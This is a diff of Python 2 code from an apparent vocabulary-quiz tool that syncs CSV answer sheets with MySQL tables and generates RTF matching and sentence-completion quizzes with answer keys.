+        print "Not in main, not being added: " + word
+        return
+    answers = ddict[word] # get all the existing answers for that word
+    if answers=={}: # if there are no answers..
+        key = q_type + '1' # ..set the key for the new answer to m1 or s1
+        answers={key:new_q} # and set the answers for that word equal to the new answer
+    else:
+        counter = 1 # if there is at least one answer, make a counter to count the number of answers there are
+        for answer_key in answers: # go through each answer
+            if answer_key[0] == q_type: # check if the answer matches the answer type 
+                counter+=1 # and increment the counter if it does
+        key = q_type + str(counter) # assign the key for the new answer according the key
+        answers[key]=new_q # add the new key:answer to the existing answers
+
+    # add the updated words to the database - this has not yet been made into a batch adder, and so is slow, because we just don't use this much anymore
+    do_command("""UPDATE %s SET data = \"%s\" WHERE word = \"%s\"""" % (dbase,MySQLdb.escape_string(str(answers)),MySQLdb.escape_string(word)))
+
+    return
+
+# this is the main function to handle uploading the .csv files that have been updated with new questions
+def upload_answer_sheet(main_name):
+    main_dict = turn_dbase_into_dict(main_name) # gets the main word list
+    
+    data, q_type = get_data_for_upload(main_dict) # gets the data for the upload
+    if not data:
+        return
+    
+    edited_words = []
+    
+    for word in data: # goes through each word in the data
+        if check_for_changes(word, data[word], main_dict, q_type): # checks if any words have had questiosn added to then since the uploader file was downloaded
+            print "Skipped: " + word # skips any words with questions added
+            edited_words.append(word) # keeps track of skipped words for later
+            continue
+        else:
+            print "Edited: " + word # otherwise, sends the words with the new data to be updated
+            add_new_data(word, data[word]['new'], main_name, main_dict, q_type)
+
+    if len(edited_words)!=0: # if there are words that had to be skipped, it makes a new uploader csv with those words
+        writer = csv_generator(q_type) # note that this and two of the functions below are actually for the previous section of functions
+        counter = 0
+        for word in edited_words:
+            data = get_generator_data_from_dict(main_dict, word, q_type)
+            add_to_generator_csv(writer, word, data)
+            counter+=1
+
+        print str(counter) + " words had already been edited, new csv created."
+    else:
+        "Words uploaded, no further edits necessary."
+
+    return
+
+###################################################################################
+### GENERATE ACTIVE(TESTING)/PASSIVE SHEET COMMANDS
+### THESE COMMANDS ARE THERE FOR CREATING THE CSV FILES THAT ARE USED TO PICK WHAT WORDS TO PUT INTO AN ACTIVE OR A
+### PASSIVE ASSIGNMENT. THE PASSIVE ASSIGNMENT GENERATION IS NOW NEVER USED INDEPENDENTLY.
+# test_csv_generator(student_name)
+# get_sdata_for_test(student_name, word)
+# get_wdata_for_test(word, s_data, main_name, max_untested_counter)
+# write_test_gen(writer, data, counter)
+# generate_testing_sheet(student_name, main_name)
+# passive_csv_generator(student_name)
+# get_pdata_for_test(passivedb, word)
+# generate_passive_sheet(student_name, main_name)
+###################################################################################
+
+# This function creates the csv for making an active assignment 
+def test_csv_generator(student_name):
+    now = datetime.datetime.now() # we use the current timestamp to distinguish between files; technically, this isn't great because two sheets made within the same minute will conflict. in that case I think an overwrite happens, though not sure. unlikely
+    name = 'testsheet-'+upper(student_name)+'-'+str(now.year)+'-'+str(now.month)+'-'+str(now.day)+'-('+str(now.hour)+'-'+str(now.minute)+').csv'
+    writer = csv.writer(open(name, 'wb'), dialect = 'excel')
+
+    # adds activity to the log file
+    add_to_log(student_name, name)
+
+    # returns a pointer to the file
+    return writer
+    
+# this function takes the dictionary version of the student database and the word, and retrieves, organizes and returns the
+# student word data in a way that that will make creating the csv easier 
+def get_sdata_for_test(student_dict, word):
+    if not student_dict.has_key(word): # double-checks that the word is in the student dictionary
+        print "Not in main: " + word
+        return 'Error'
+    
+    data = student_dict[word] # get the data for the particular word
+    total_tested, total_wrong, days_since = 0,0,0 # create a few variables
+
+    if '^^^out^^^' in data[0]: # checks if the marker for a word that is currently being tested is there or not
+        _out = True
+    else:
+        _out = False
+    
+    if len(data[1]) != 0: # if the word has been tested earlier
+        for result in data[1]: # go through each tested result (these will be 1 if right, 0 if wrong)
+            total_wrong += int(result) # add each result to total wrong (see two lines down)
+            total_tested += 1 # add one each time you have a result to the count of number of times the word has been tested
+        total_wrong = total_tested - total_wrong # calculate the actual number wrong
+        
+    if len(data[3]) != 0: # if the word has been tested before
+        days_since = ( date.today() - data[3][-1] ).days # subtract from today's date the most recent tested date
+    else:
+        days_since = ( date.today() - data[4][1]  ).days # otherwise, subtract from today's date the day the word was added
+
+    # return an arranged version of the data
+    return [data[0],total_tested, total_wrong, days_since, data[2][0], str(data[4][2]), _out]
+
+# this function retrieves, organizes and returns the answer data for a word (i.e. the possible answers)
+# it also ends up keeping track of the largest number of untested answers that any of the words has
+# word = word, s_data = the keys of the questions the student has already seen, main_dict = the vocabmain in dictionary form,
+# max_untested_counter = the highest number of untested answers for one word in the student's list 
+def get_wdata_for_test(word, s_data, main_dict, max_untested_counter):
+    # if for whatever reason the main_dict doesn't have a word, that's a paddlin'
+    if not main_dict.has_key(word):
+        print "Not in main: " + word
+        return 'Error', max_untested_counter
+
+    counter = 0 # this counter tracks the number of untested answers
+    data = main_dict[word] # get all the answers for the word
+    for question in data: # for each answer...
+        if question in s_data: # if the student has seen the question
+            data[question] = '***' + data[question] # append a little code onto it to distinguish it later when we make the csv
+        else:
+            counter +=1 # otherwise, increment the counter
+
+    return data, max(counter, max_untested_counter) # return the answer data for the word (now with *** appended to already seen questions), and also the larger of the two untested counters (either the one passed into the function from before, or the one from the current word)
+
+# This function does all the nitty-gritty of sticking the information into the testsheet file
+# writer = the csv file, data = what we're putting in, counter = the maximum number of untested questions for a single word
+# data is structured like this: [word,[times tested, times wrong, days since entry/last test, score, source, is the word currently out?], {answer data}]
+def write_test_gen(writer, data, counter):
+    # q_counter is a little Excel script that we stick in the first row to count how many questions have been chosen
+    q_counter = """="Qs Chosen: "&COUNTIF(E2:E50000,"<>")-COUNTIF(E2:E50000,"***needs new***")-COUNTIF(E2:E50000,"d")"""
+
+    # the first five columns in the first row
+    row = ['WORD', 'TIMES TESTED', 'TIMES WRONG', 'DAYS SINCE (SOURCE)', q_counter]
+
+    # then it becomes a little trickier, because we want to separate questions that the student has been tested on
+    # and those they have not been tested on into seperate sections, with a divider in between. to do this, we have to
+    # know how many columns we need to set aside for the first section, so that the divider can be a single column.
+    # Since untested questions come first, we need to figure out, among the words, which one has the largest number
+    # of untested questions (this is the counter), and then create that many columns before inserting the divider. 
+    if counter != 0: # if the counter = 0, we don't need an untested column
+        row.append('UNTESTED') # otherwise, first add the section title
+        _counter = counter-1 # subtract from the counter (and make a seperate variable so we hold onto the original value)
+        while _counter>0: # if it's still above 0, and while it is above 0
+            row.append('') # keep adding columns
+            _counter-=1 # and subtracting from the _counter
+    row.append('***') # then add the divider line
+    row.append('TESTED') # then add the column heading for the last section, the untested questions
+    writer.writerow(row) # add the header row
+
+    # this is where we sort the words. each successive sort is applied to the one before, so the last one is most obvious
+    data = sorted(data, key = lambda thing: thing[1][4], reverse=False) # first, sort by the source of word, in alphabetical order
+    data = sorted(data, key = lambda thing: thing[1][2], reverse=True)  # then sort by how many days ago it was added, longest ago at the top 
+    data = sorted(data, key = lambda thing: thing[1][3], reverse=True)  # finally by the word's score (a function of how many times they got it right or wrong (see grader intake functions for precise description), highest score at the top
+
+    for datum in data: # go through each word (in the sorted order)
+        word = datum[0] # the word
+        s_data = datum[1] # the student data about the word
+        s_data[2] = str(s_data[2]) + ' (' + s_data[4] + ')' # dates since last test + (source)
+        if s_data[5]: # is the word currently out on a quiz that hasn't been graded yet?
+            s_data[0] = str(s_data[0]) + '^' # if it is, add a like carat marker before the word
+        w_data = datum[2] # the answer data for word
+        _counter = counter # another duplicate of the counter, which we'll use for this word
+        
+        if w_data == {}: # if the word has no possible answers
+            row = [word, s_data[0], s_data[1], s_data[2], '***needs new***'] # we stick in a little ***needs new*** in the answer selection box so the user knows they have to enter something new
+            while _counter>0: # then we enter blank rows until we hit the end of the counter
+                row.append('')
+                _counter-=1 
+            row.append('***') # then we append the divider column
+            
+        else:
+            row = [word, s_data[0], s_data[1], s_data[2], ''] # otherwise, the answer box is empty
+
+            _w_data = [] # the w_data is in dictionary form, but we want it in list for so we can iteration through it
+            for k in w_data:
+                _w_data.append(str(k)) # here, we make a list only of the keys of the w_data dictionary
+            _w_data.sort() # the sort the keys alphabetically
+                
+            for question in _w_data: # then we go through each key
+                if question[0]=='s': # first we skip the sentence completions
+                    continue
+                if w_data[question][:3]=='***': # and we skip any questions that have already been tested (note that we're using the key from _w_data to pull out the entry from w_data)
+                    continue
+                else:
+                    try:
+                        row.append(str(question)+" : " + str(w_data[question])) # if we haven't skipped it, stringify it and stick it in
+                        _counter-=1 # and decrement the counter
+                    except UnicodeEncodeError: # this error occurs if the answer for some reason is not a proper string
+                        print 'uni error: ' + str(row[0])
+            for question in _w_data: # repeat for all the previously untested sentence completions
+                if question[0]=='m':
+                    continue
+                if w_data[question][:3]=='***':
+                    continue
+                else:
+                    row.append(str(question)+" : " + str(w_data[question]))
+                    _counter-=1
+
+            while _counter>0: # if there's extra space left over, attach some blank rows
+                row.append('')
+                _counter-=1
+
+            row.append('***') # attach the divider row
+                    
+            for question in _w_data: # now we're going to do the same thing, except that we'll skip untested questions...
+                if question[0]=='s':
+                    continue
+                if w_data[question][:3]!='***': # note the != rather than the == here. it's the only difference
+                    continue
+                else:
+                    row.append(str(question)+" : " + str(w_data[question][3:]))
+            for question in _w_data: # again for sentence completions
+                if question[0]=='m':
+                    continue
+                if w_data[question][:3]!='***':
+                    continue
+                else:
+                    row.append(str(question)+" : " + str(w_data[question][3:]))
+                
+        writer.writerow(row) # write the whole row into the csv file, move onto the next word
+    return
+
+# This function is to get rid of "old words". The reasoning behind this is that any words that have not been tested within
+# some number of days of being seen by the student should be deleted, because the student has probably forgotten them by then.
+# The only times this is a bit of a pain is when you create a longer passive assignment (one for several weeks at a time)
+# for convenience, only to have to the set deleted before you finish actually assigning it. In this case, you need to
+# re-assign a passive assignment that covers the deleted words.
+# s_name = the student's name, sdict = a dictionary object of the student database
+def delete_old_words(s_name, sdict):
+    forget_limit = 30 #### number of days after which we delete a never-tested word
+    new_sdict = {} # this will be the dictionary object of the student database without the deleted words
+    to_delete = [] # a list of words to delete
+    for word in sdict: # go through each word in the student database
+        data = sdict[word] # get the word's data
+        if data[0] == []: # if the word has never been tested and is not currently in a quiz
+            if data[4][0] == 'active': # get the date the word was assigned (depends on if it was once a passive word or not; this distinction is now irrelevent though)
+                date_assigned = data[4][1]
+            else:
+                date_assigned = data[4][0]
+            difference = datetime.date.today() - date_assigned # figure out how long ago it was added
+            if difference.days > forget_limit: # if the difference is greater
+                to_delete.append(word) # slate the word for deletion
+            else:
+                new_sdict[word] = data # otherwise put it in the new_sdict
+        else: # if the word has been tested before or is currently out, put it back in the new_sdict 
+            new_sdict[word] = data
+
+    # this is a batch command to delete all the words at once from the student's database (in mysql)
+    if len(to_delete) !=0: # (if there are words to delete)
+        delete_command = "DELETE FROM %s WHERE " % s_name
+        for word in to_delete:
+            delete_command += """word = \"%s\" OR """ % MySQLdb.escape_string(word)
+        delete_command = delete_command[:-3] + ';'
+        
+        do_command(delete_command)
+
+    return new_sdict
+
+# this function is the higher-level function that goes through all the steps to create a testing sheet.
+# the only variables it takes are the student name and the vocabmain name
+def generate_testing_sheet(student_name, main_name):
+    main_dict = turn_dbase_into_dict(main_name) # gets the two databases as dictionaries
+    student_dict = turn_dbase_into_dict(student_name)
+
+    student_dict = delete_old_words(student_name, student_dict) # deletes the old words
+    
+    max_untested_counter = 0 # this is for keeping track of the highest number of untested answers any of the words has
+    
+    words = get_words_list(student_name) # gets the words from the student file
+
+    writer = test_csv_generator(student_name) # creates the csv 
+    
+    data = [] # the variable for the data
+
+    for word in words: # go through each word and get all the necessary data
+        s_data = get_sdata_for_test(student_dict, word) # the data from the student database
+        if s_data == 'Error':
+            continue
+        w_data, max_untested_counter = get_wdata_for_test(word, s_data[0], main_dict, max_untested_counter) # the data from the vocabmain database
+        if w_data == 'Error':
+            continue
+        data.append([word, s_data[1:], w_data]) # append all data to one big list
+
+    write_test_gen(writer, data, max_untested_counter) # make the testsheet
+
+    print "Test sheet created."
+
+# this functions creates the csv sheet for picking what words go into the passive assignment
+def passive_csv_generator(student_name):
+    now = datetime.datetime.now()
+    # distinguishes sheets by date - see note in active sheet csv generator above
+    name = 'passive-'+upper(student_name)+'-'+str(now.year)+'-'+str(now.month)+'-'+str(now.day)+'-('+str(now.hour)+'-'+str(now.minute)+').csv'
+    writer = csv.writer(open(name, 'wb'), dialect = 'excel')
+
+    # logs this
+    add_to_log(student_name, name)
+    
+    return writer, name # note that the function returns the file name as well, unlike the active sheet version
+
+# this function retrieves the relevant data for a particular word from the student's passive database, organizes it and returns it
+def get_pdata_for_test(passive_dict, word):
+    if not passive_dict.has_key(word): # if the the word isn't in the passive database, that's a paddlin'
+        print "Not in passive: " + word
+        return False, False, False
+    
+    data = passive_dict[word] # get the data from the passive database dictionary object
+
+    source = data[1] # the source of the word
+
+    days_since = ( date.today() - data[0] ).days # the number of days since the word was added
+
+    return source, days_since, data[0] # return the source, days since, and the day the passive word was added
+
+# this is the top level function that makes the passive csv sheet. we essentially don't use this independently of the
+# all-in-one passive to active function. when we use it as part of this function, the function passes a list of
+# "pre-selected words". basically, we skip the passive sheet step by making a passive sheet but selecting the words
+# automatically, so that we can go to the upload step without needing input from the user. this is obviously inefficient,
+# but was easier to make at the time. future versions should re-make the all-in-one function from scratch.
+def generate_passive_sheet(student_name, main_name, pre_selected_words = []): 
+    passive_name = student_name+'passive'
+
+    # gets the words from the passive list
+    words = get_words_list(passive_name)
+
+    # turns the passive db into a passive dictionary
+    passive_dict = turn_dbase_into_dict(passive_name)
+
+    # gets the pointer to the csv file and file name
+    writer, _writer_name = passive_csv_generator(student_name)
+
+    q_counter="""="Choices (x): "&COUNTIF(B2:B50000,"x")""" # a little excel script that counts how many words you've chosen
+    row = ['WORD', q_counter, 'DAYS SINCE ADDED', 'SOURCE', 'DATE ADDED'] # the header row
+    writer.writerow(row)
+
+    # note that there's no sorting of the words; in theory, there should be. as is I think you get the words in the order they were added, which is not a terrible option
+    for word in words: # goes through each word 
+        source, days_since, date = get_pdata_for_test(passive_dict, word) # gets the relevant data for each word
+        if source == False: # checks for an error
+            continue
+        if word in pre_selected_words: # if the word has been pre-selected (in the all-in-one function), then add the row with an 'x' already in the selection cell
+            row = [word, 'x', days_since, source, str(date)]
+        else: # otherwise, keep that cell blank
+            row = [word, '', days_since, source, str(date)]
+        writer.writerow(row)
+
+    print "Passive sheet created."
+
+    if pre_selected_words != []: # if you're in the all-in-one function, you'll need the csv filename (so you can immediately turn around and upload that file)
+        return _writer_name
+    else: # otherwise, you don't (because the user has to first select the words, and only then can you upload the file)
+        return
+
+###################################################################################
+### GENERATE ACTIVE/PASSIVE EXAM COMMANDS
+# open_file ( name )
+# make_test(t_database, test_type, student_name, due_date, dummies, submit_to, test_number)
+# generate_passive_assignement(words_plus_source, student_name, test_number, assign_date, teach_id)
+# ask_q_type()
+# ask_test_details()
+# get_test_number(q_type, dbase)
+# upload_test_file(student_name)
+# parse_reader(reader)
+# clean_test_file(data, q_type)
+# check_new_q(q)
+# add_new_data(word, new_q, dbase, q_type)
+# get_question_key(word, key, dbase, q_type)
+# open_grading_file(filename)
+# make_grading_file(data, order, filename, assign_date)
+# intake_testing_sheet(student_name, main_name)
+# ask_passive_details()
+# upload_passive_file(student_name)
+# parse_passive_file(reader)
+# clean_passive_file(data)
+# get_ptest_number(dbase)
+# add_passive_to_active(dbase, word, source, date)
+# add_to_main(dbase, word)
+# delete_from_passive(dbase, word)
+# intake_passive_sheet(student_name, main_name)
+###################################################################################
+
+# don't remember why this is a seperate function, it just makes the .rtf file. I think it came this way in the PyRTF sample and I was too afraid to touch it.
+def open_file ( name ) :
+    return file( '%s.rtf' % name, 'w' )
+
+# this is the huge function that creates the actual .rtf document that is the test, plus the answer sheet. We use the PyRTF
+# module, which is not a module that comes standard with Python. In fact, it would have probably been easier to use make
+# a .pdf using the module we used in custom exams, but I learned that one after I had already started with this.
+# this (and the passive sheet creator right after) will definitely be the hardest section for me to explain and for you to
+# understand. Documentation is minimal on PyRTF, so a lot code here is more the product of trial and error than any kind
+# of logical process (well, moreso than the rest of the program, at least). Look through the PyRTF examples and included
+# documentation if you hope to make any changes to this.
+def make_test(t_database, test_type, student_name, due_date, dummies, submit_to, test_number, filename):
+    # this sets up the basic necessities for a PyRTF document
+    DR = Renderer()
+    doc     = Document()
+    ss      = doc.StyleSheet
+    paper   = Paper( 'A4', 9, 'A4 210 x 297 mm' , 11907, 16838 )
+    section = Section(paper)
+    doc.Sections.append( section )
+
+    # sets the font and creates a paragraph    
+    tps = TextPS(font=ss.Fonts.TimesNewRoman, size=18)
+    ps = ParagraphPS(alignment = TabPS.RIGHT)
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+
+    # this creates the header, including a smaller font upper-right hand corner with name/date/adviser, and the test name and number centered below that
+    student_full_name = get_student_fullname(student_name)
+    p1.append(Text(str(student_full_name), tps))
+    section.append( p1 )
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+    p1.append(Text("Due: " + str(due_date), tps))
+    section.append( p1 )
+    p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+    p1.append(Text("Adviser: " + str(submit_to), tps))
+    section.append( p1 )
+    section.append(Paragraph(Text('',tps)))
+    tps = TextPS( bold=1, font=ss.Fonts.TimesNewRoman, size=20)
+    ps = ParagraphPS(alignment = TabPS.CENTER)
+    if test_number[0] == 'M':
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Vocabulary Matching Quiz # ' + str(test_number[1:]), tps))
+        section.append( p1 )
+    elif test_number[0] == 'S':
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Vocabulary Sentence Completion Quiz # ' + str(test_number[1:]), tps))
+        section.append( p1 )
+    elif test_number[0] == 'D':
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Vocabulary Definitions Quiz # ' + str(test_number[1:]), tps))
+        section.append( p1 )
+    elif test_number[0] == 'W':
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Vocabulary Writing Quiz # ' + str(test_number[1:]), tps))
+        section.append( p1 )
+        
+        ps = ParagraphPS(alignment = TabPS.LEFT) # here, for the writing test, we have a special set of instructions that we add
+        tps = TextPS(font=ss.Fonts.TimesNewRoman, size=20)
+        
+        p1 =  Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Write a sentence using each of the words below. The sentence should reflect the meaning of the word (if the word is replaced in the sentence with a _____, your adviser should be able to guess which word you intended to put in the _____).', tps))
+        section.append( p1 )
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('For every word, write down in parentheses which part of speech the word in your sentence is (noun, verb, adj., adv., etc.)', tps))
+        section.append( p1 )
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('Sample:', tps))
+        section.append( p1 )
+        p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+        p1.append(Text('run (noun) I went on a run this morning, but my legs became tired very quickly.', tps))
+        section.append( p1 )
+        section.append(Paragraph(Text('',tps)))
+
+    # now that we made the header, we can get on with adding the questions
+    order = [] # this variable is quite important. it will hold for us the order of the questions, so that when we make the grader sheet, we can keep the order in the grader the same
+
+    # the font style for the questions
+    qps = TextPS(font=ss.Fonts.TimesNewRoman, size=20)
+
+    # for the matching exam. look at the general structure of the matching exams so you know what the program is building,
+    # that should help you make sense of the code
+    if test_type == 'm':
+        letter_iter = ['','a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o'] # the answers have letters associated with them
+        number_iter = 1 # question numbers
+        page = 'first' # the first page is different from the other ones, so we need to keep track of where we are
+        
+        answer_sheet = [] # we'll use this for keeping track of answers for the answer sheet
+        questions = [] # we'll seperate questions and answers into their own lists (you'll see why later)
+        answers = []
+        q_a = [] # and this list has both questions and answers together
+        for question in t_database: # t_database is a dict, which means it can't be sorted, so we turn it into a list in this form [[question, answer],[q,a],...]
+            q_a.append([question, t_database[question]])
+        shuffle(q_a) # then we shuffle the q_a list so that the question order is random
+        for qa in q_a:
+            questions.append(qa[0]) # then we create additional seperate lists for just questions and just answers
+            answers.append(qa[1])
+
+        order = copy.copy(questions) # the questions are in the order that they will be in the test, so we can copy that order for using later in the crader
+
+        page_number = 1 # iterator for the page number
+        while len(questions) != 0: # the loop for adding more pages of questions keeps going until we've added all the questions
+            if page == 'other': # this section creates the header and the table for the quiz; the header depends on if it's the first page or not, so that's why we have this if else setup
+                p1 = Paragraph(ss.ParagraphStyles.Normal, ParagraphPS().SetPageBreakBefore( True ))
+                section.append(p1)
+                p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+                p1.append(Text("Section: " + str(page_number), qps)) # we call each page its own section
+                page_number += 1 # increment the page number
+                section.append( p1 )
+                section.append(Paragraph(Text('',qps)))
+                table = Table( TabPS.DEFAULT_WIDTH * 3, TabPS.DEFAULT_WIDTH * 4, TabPS.DEFAULT_WIDTH * 5)
+                table.SetAlignment(3)
+            else:
+                p1 = Paragraph( ss.ParagraphStyles.Normal, ps)
+                p1.append(Text("Section: " + str(page_number), qps))
+                page_number += 1
+                section.append( p1 )
+                section.append(Paragraph(Text('',qps)))
+                table = Table( TabPS.DEFAULT_WIDTH * 3, TabPS.DEFAULT_WIDTH * 4, TabPS.DEFAULT_WIDTH * 5)
+                table.SetAlignment(3)
+                page = 'other' # this was the first page, so subsequent pages won't be
+
+            # here things become a tad complicated, because we want the program to do several things. we already have the
+            # order for the questions; that's good. the answers can't have an order - we want to shuffle them so that they
+            # don't line up with the question. at the same time, we only want to shuffle them within the group of 15
+            # that will appear on that particular section. But, after you've shuffled the answers, you want to note their
+            # letter, because that letter will go in the blank for the answers. This is important because if you want to
+            # make an answer sheet, you need to know the order that the letters should be listed in.
+            q_15 = questions[:15] # first we take the first fifteen questions
+            a_15 = answers[:15] # and the first fifteen answers
+            _a_15 = copy.deepcopy(a_15) # then we make an independent copy of the answers
+            shuffle(_a_15) # and we shuffle this copy (this gives us the shuffled 15 answers for this section)
+            __a_15 = [] # and we make a third temp variable, which will have the answers combined with their letter
+
+            num = 1 # we'll use this for counting what question number we're on
+            _answer_sheet = [] # we'll use this to hold the data that goes into making the answer sheet
+            for ans in _a_15:
+                # first we match the answer with the letter (the first ans with a, the second with b, etc.)
+                letter = letter_iter[num]
+                
+                # next, we look up the location, in the a_15 list, of the ans. in other words, remember that q_15 and a_15
+                # match up (the first answer is the answer for the first questoin), whereas _a_15 is randomized, but we can
+                # look up where a particular answer in _a_15 would be if it were in a_15. another way of putting this is that
+                # place keep is the question number for the word that ans is the answer to.
+                place_keep = a_15.index(ans)+1 
+
+                __a_15.append(letter_iter[num] + '. ' + ans) # we combine the letter with the answer and append it to __a_15 (this is how they'll apear in the quiz)
+                num += 1 # we increment our 1-15 counter by 1
+                _answer_sheet.append([place_keep, letter]) # and we append the place_keep (which we'll use for sorting) and the letter of the answer to the list we'll use for making the answer sheet
+
+            answer_sheet.append([page_number-1, _answer_sheet]) # finally, we add the full answer sheet for that page, along with the page number
+
+            num = 1 # we'll start the question counting back to one
+            for que, ans in map(None, q_15, __a_15): # go through the questions and the shuffled letters + answers list that we made above
+                p1 = Paragraph(ss.ParagraphStyles.Normal) # the text for the left cell
+                p2 = Paragraph(ss.ParagraphStyles.Normal) # the text for the middle cell
+                p3 = Paragraph(ss.ParagraphStyles.Normal) # the text for the last cell
+                p1.append(Text(str(num)+'. ', qps)) # the question number
+                p1.append(Text(str(que), qps))  # the word
+                c1 = Cell(p1) # first cell
+                p2.append(Text('____________',qps)) # space for the answer
+                c2 = Cell(p2) # second cell
+                p3.append(Text(str(ans),qps)) # the answer (note this isn't the answer for the word on the left, just whichever answer was matched up with the word)
+                c3 = Cell(p3) # third cell
+                table.AddRow(c1,c2,c3) # add the row to the table
+                c1 = Cell(Text('',qps))
+                c2 = Cell(Text('',qps)) # add an extra row of cells
+                c3 = Cell(Text('',qps))
+                table.AddRow(c1,c2,c3) # add the extra cells
+                num += 1 # increment the question number
+                questions.pop(0) # this and the below removes a question and answer from the list, so that next time we do q_15 = questions[:15] we have a new set of questions
+                answers.pop(0)
+
+            section.append(table) # add the table for this section
+
+        ### Once we've used up all the questions and answers, we move onto the next step for the matching quiz, which is
+        ### to generate the answer sheet.
+            
+        p1 = Paragraph(ss.ParagraphStyles.Normal, ParagraphPS().SetPageBreakBefore( True )) # add a page break
+        section.append(p1)
+        section.append(Paragraph(Text('Answer Key ' + str(student_name) + ' ' + str(test_number),qps))) # the header
+        section.append(Paragraph(Text('',qps)))
+
+        # take a look at some of the answer sheets. you'll see that it's three columns of answers in a row, each column
+        # comprised actually of two rows (the section number and the answers). first, we're going to need to sort the answers into these
+        # groups of 3
+        count = 0 # we'll use this to count out 3 sections
+        sec = [] # this variable is going to hold 3 sections in one list until we move that list to the variable below
+        secs_in_3s = [] # MIND OUT OF THE GUTTER
+        for section_num, answers in answer_sheet:
+            if count == 3: # once we hit 3 sections (ie once sec is [sec#, ans, sec#, ans, sec#, ans])
+                secs_in_3s.append(sec) # add them to the bigger variable
+                count = 0 # reset count and sec
+                sec = []
+            sec.append(section_num) # add the section number to sec
+            answers.sort() # sort the answers (this will sort them according to the question number, so that we have 1-15 in order)
+            sec.append(answers) # append the answers to sec
+            count += 1
+
+        # since we're putting the answers in sections in a 3 by x table, if the number of sections is not a multiple
+        # of 3 then we have to add some blank sections to fill out the rest of the table
+        if sec != []:
+            if len(sec) == 6: # if our last set of three sections is a length of 6 (each section has two pieces), we just add it
+                secs_in_3s.append(sec)
+            if len(sec) == 4: # if we're short a section we append two pieces of whitespace
+                sec.append('')
+                sec.append('')
+                secs_in_3s.append(sec)
+            if len(sec) == 2: # if we're short two sections, we append four pieces of whitespace
+                sec.append('')
+                sec.append('')
+                sec.append('')
+                sec.append('')
+                secs_in_3s.append(sec)
+
+        # now we make the table for the answers sheets (three columns)
+        table = Table( TabPS.DEFAULT_WIDTH * 4, TabPS.DEFAULT_WIDTH * 4, TabPS.DEFAULT_WIDTH * 4)
+        table.SetAlignment(3)
+        for sec_num1, ans_1, sec_num2, ans_2, sec_num3, ans_3 in secs_in_3s: # go through the sections-sorted-into-threes
+            p1 = Paragraph(ss.ParagraphStyles.Normal)
+            p2 = Paragraph(ss.ParagraphStyles.Normal)
+            p3 = Paragraph(ss.ParagraphStyles.Normal)
+            p1.append(Text(str('Section ' + str(sec_num1)),qps)) # add the first section number
+            if sec_num2 != '':
+                p2.append(Text(str('Section ' + str(sec_num2)),qps)) # and second, if there is one
+            if sec_num3 != '':
+                p3.append(Text(str('Section ' + str(sec_num3)),qps)) # and third, if there is one
+            c1 = Cell(p1)
+            c2 = Cell(p2)
+            c3 = Cell(p3)
+            table.AddRow(c1,c2,c3) # append the section number
+            for i in range(0, len(ans_1)): # here we go through each of the answers. note that the length of the first (or leftmost) answer set is the one we use. given the current set-up, the first column will never be shorter than any subsequent ones)
+                p1 = Paragraph(ss.ParagraphStyles.Normal) 
+                p2 = Paragraph(ss.ParagraphStyles.Normal) 
+                p3 = Paragraph(ss.ParagraphStyles.Normal)
+                try:
+                    p1.append(Text(str(str(ans_1[i][0])+'.   '+str(ans_1[i][1])),qps)) # add the answer for the first column, if it exists
+                except IndexError:
+                    p1.append(Paragraph(Text('',qps))) # otherwise, add a blank
+                try:
+                    p2.append(Text(str(str(ans_2[i][0])+'.   '+str(ans_2[i][1])),qps)) # add the answer for the second column, if it exists
+                except IndexError:
+                    p2.append(Text('',qps))
+                try:
+                    p3.append(Text(str(str(ans_3[i][0])+'.   '+str(ans_3[i][1])),qps)) # and for the third
+                except IndexError:
+                    p3.append(Text('',qps))
+                c1 = Cell(p1)
+                c2 = Cell(p2)
+                c3 = Cell(p3)
+                table.AddRow(c1,c2,c3) # add this row of answers
+            c1 = Cell(Text('',qps))
+            c2 = Cell(Text('',qps)) # add an extra blank row
+            c3 = Cell(Text('',qps))
+            table.AddRow(c1,c2,c3)
+        section.append(table) # add the whole answer sheet table
+
+    ### Below is the sequence of steps for making 
+    elif test_type == 's':
+        number_iter = 1 # we'll use this for question numbers
+        questions = [] # seperate lists for the questions (in this case the words) and the answers (in this case the sentences)
+        answers = []
+        q_a = []
+        for question in t_database:
+            q_a.append([question, t_database[question]]) # make an ordered list of questions and answers from the t_database dict
+        shuffle(q_a) # randomize that list
+        for qa in q_a:
+            questions.append(qa[0]) # make the seperate question and answer lists
+            answers.append(qa[1])
+
+        order = copy.copy(questions) # a copy of the list of words, in the order that they should appear as answers, which we'll use for making the grader
+
+        # once we've copied the order of the words, we can make them into a unordered wordbank
+        questions.extend(dummies) # add the dummies to the word bank
+        questions.sort() # alphabetically sort the words for the wordbank
+
+        n = 2000
+        wordbank_table = Table( n, n, n, n, n ) # the wordbank table (5 words per row)
+        while len(questions)!=0: # go through each of the words
+            try:
+                c1 = Cell( Paragraph( Text( questions.pop(0), qps) ) ) # and add them to the table in sets of 5, until you reach the last row and then you'll fill out the remaining cells with blankness
+            except IndexError:
+                c1 = Cell( Paragraph( ) )
+            try:
+                c2 = Cell( Paragraph( Text( questions.pop(0), qps) ) )
+            except IndexError:
+                c2 = Cell( Paragraph( ) )
+            try:
+                c3 = Cell( Paragraph( Text( questions.pop(0), qps) ) )
+            except IndexError:
+                c3 = Cell( Paragraph( ) )
+            try:
+                c4 = Cell( Paragraph( Text( questions.pop(0), qps) ) )
+            except IndexError:
+                c4 = Cell( Paragraph( ) )
+            try:
+                c5 = Cell( Paragraph( Text( questions.pop(0), qps) ) )
+            except IndexError:
+                c5 = Cell( Paragraph( ) )
+            
+            wordbank_table.AddRow( c1, c2, c3, c4, c5 )
+
+        section.append(wordbank_table) # the wordbank has been added
